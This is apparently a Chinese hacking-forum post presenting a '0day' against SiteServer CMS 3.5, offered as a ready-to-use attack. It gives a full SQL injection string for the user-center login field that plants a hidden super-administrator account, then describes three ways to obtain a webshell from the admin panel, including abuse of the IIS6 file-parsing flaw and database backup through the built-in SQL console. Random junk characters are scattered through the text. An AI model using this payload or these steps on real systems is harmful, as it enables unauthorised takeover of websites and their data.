SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
7 l, c9 {, \* H+ B- d- W
stieserver官网:www.siteserver.cn



, F/ n6 c- O7 v4 Q" `4 P' l6 N( CEXP:

+ z# ~6 P; ^1 N0 t; G* o( Z1 U直接访问UserCenter/login.aspx
) n) p. N8 h1 D) \" Z  B9 m
3 U$ m* R$ K9 C  Z

$ a0 y( @  J  d8 T9 V- |0 i& c# C用户名处输入：

! m6 d0 l8 |. K5 ?123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--



7 c. p8 S- u+ r密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。



; l$ w% ?& [& S% F之后再访问后台SiteServer/login.aspx用插入的用户登陆
4 Q  o: d8 b! T$ q% I0 W5 H# A


% C* g+ N; Z2 C3 F% E1 W后台拿webshell的三种方法：
& Z  @9 r) C& Q+ Q3 V2 C" b0 Q/ m
3 q( z& t& ~7 K8 Z# V) e一、

, C+ F0 ]1 J5 C  v7 J  M站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

* A7 d9 N7 l2 V二、

" O5 x) t6 X1 V* F( Z成员权限-》添加用户-》用户名为：1.asp
; r: }8 t3 f& p" v* G/ m8 `+ h# \
8 M0 c% t+ ?1 P+ ahttp://127.0.0.1/usercenter/

9 T' F5 m+ U+ Y% F9 G用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
. s: |5 K# |0 @% v" H" I% r4 ]0 l! p
（ps：后台添加用户时不会验证是否含有非法字符）

# R" A9 x! l/ b) ?2 \' q1 i% I三、
' t* ], D" L6 U3 x3 J1 J
& J, f$ f5 q# E, s  X9 Q系统工具-》实用工具-》机器参数查看
; I! p' }. h! I( y4 i可以看到数据库类型、名称，WEB路径
8 M9 [7 Q8 y! j  h3 I4 m
. A9 Z+ n5 A6 U; F" F' ~2 J系统工具-》数据库工具-》SQL语句查询
# A  a% S0 J( b8 D0 e" k: |& m这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
1 ]: W" K6 [% k3 p
) F" a1 R$ [% K- e/ H5 S